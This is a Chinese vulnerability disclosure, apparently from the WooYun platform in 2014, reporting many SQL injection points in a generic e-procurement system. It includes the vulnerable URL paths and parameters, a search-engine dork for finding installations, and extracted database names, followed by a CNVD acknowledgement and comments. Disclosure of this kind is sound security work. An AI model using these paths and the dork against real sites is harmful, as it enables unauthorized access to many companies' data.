某通用型电子采购平台注射漏洞打包影响大量企业

1.根据前人提交的：

http://**.**.**.**/bugs/wooyun-2014-062918

发现洞主很粗心，仅仅检测了一个注入点，后来经过测试发现注入点特别的多，这里为了防止其它人使用该漏洞刷奖金，这里就将注入点一起打包，希望不会有人再拿这个系统刷了吧。

前人涉及的注入点：custom/GroupNewsList.aspx?groupId=121&child=true 参数：groupId

2.关键字的构造：

https://**.**.**.**/webhp?hl=zh-CN&sourceid=cnhp#hl=zh-CN&newwindow=1&q=inurl:/custom/GroupNewsList.aspx&safe=strict&start=50

3.注射点集合《已证明可跑出数据》：

①：custom/supermarket/CreateSuperMarketBill.aspx?ItemId=
 ②：supermarket/CreateInterestInfo.aspx?ItemId=
 ③：supermarket/Index_ItemView.aspx?ItemId=
 ④：count/StatDay.asp?QDay=2006-1-1、count/StatDay.asp?QYear=2006&QMonth=1&QDay=1&Query=
 ⑤：custom/GroupNewsList.aspx?GroupId=124&companyid=1 <参数：companyid>
 ⑥：custom/GetNewsPageData.aspx?pagetype=GroupNewsList&keyword=&GroupId=116&buyGroupId=&companyId=&child=&p= <参数:keyword、GroupId>
 
 等等....其它某些注入点已交由其它安全平台处理

4.注射漏洞证明：

由于通用型的系统，那么这里挑选一个网站证明以上所说的注入点，为防止搜索引擎收录域名，这里域名截图：

①：注射点1证明：

**********************************************************************************************************

②：注射点2证明：

**********************************************************************************************************

③：注射点3证明：

**********************************************************************************************************

④：注射点4证明：(这个是自带的一个统计页面)

**********************************************************************************************************

⑤：注射点5证明：

**********************************************************************************************************

⑥：注射点6证明：

**********************************************************************************************************

5.绝大多数是基于时间盲注，还有布尔值的盲注，下面也证明一下是可以跑出数据名称的，关键在于时间问题咯：

[00:57:00] [INFO] retrieved: YDNHCSQ
 available databases [18]:
 [*] CTXSYS
 [*] DBSNMP
 [*] DMSYS
 [*] EXFSYS
 [*] HCSCYDN
 [*] HQSC
 [*] HQSC1209
 [*] HQSCCS
 [*] MDSYS
 [*] OLAPSYS
 [*] ORDSYS
 [*] OUTLN
 [*] SYS
 [*] SYSMAN
 [*] SYSTEM
 [*] TSMSYS
 [*] XDB
 [*] YDNHCSQ

https://**.**.**.**/webhp?hl=zh-CN&sourceid=cnhp#hl=zh-CN&newwindow=1&q=inurl:/custom/GroupNewsList.aspx&safe=strict&start=50

最后想说一句：这么多注射点打包，可不可以来个20Rank？

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2014-07-07 09:41

厂商回复：

CNVD确认并复现所述漏洞情况，由CNVD通过6月份建立的联系渠道向软件生产厂商再次通报。rank 20

最新状态：

暂无

1. 2014-07-29 09:54 | wefgod ( 核心白帽子 | Rank:1829 漏洞数:183 | 力不从心)

   0

   挖其它类型的漏洞不算刷吧？

   1#回复此人

2. 2014-09-30 14:12 | Coody ( 核心白帽子 | Rank:1809 漏洞数:214 | 不接单、不黑产；如遇冒名顶替接单收徒、绝...)

   0

   防止他人刷洞，还留几个给别的平台提交，洞主不厚道啊～

   2#回复此人

3. 2014-09-30 16:24 | 郭斯特 ( 普通白帽子 | Rank:185 漏洞数:71 | GhostWin)

   0

   hehe，通用系统 一个案例就有说服力了？

   3#回复此人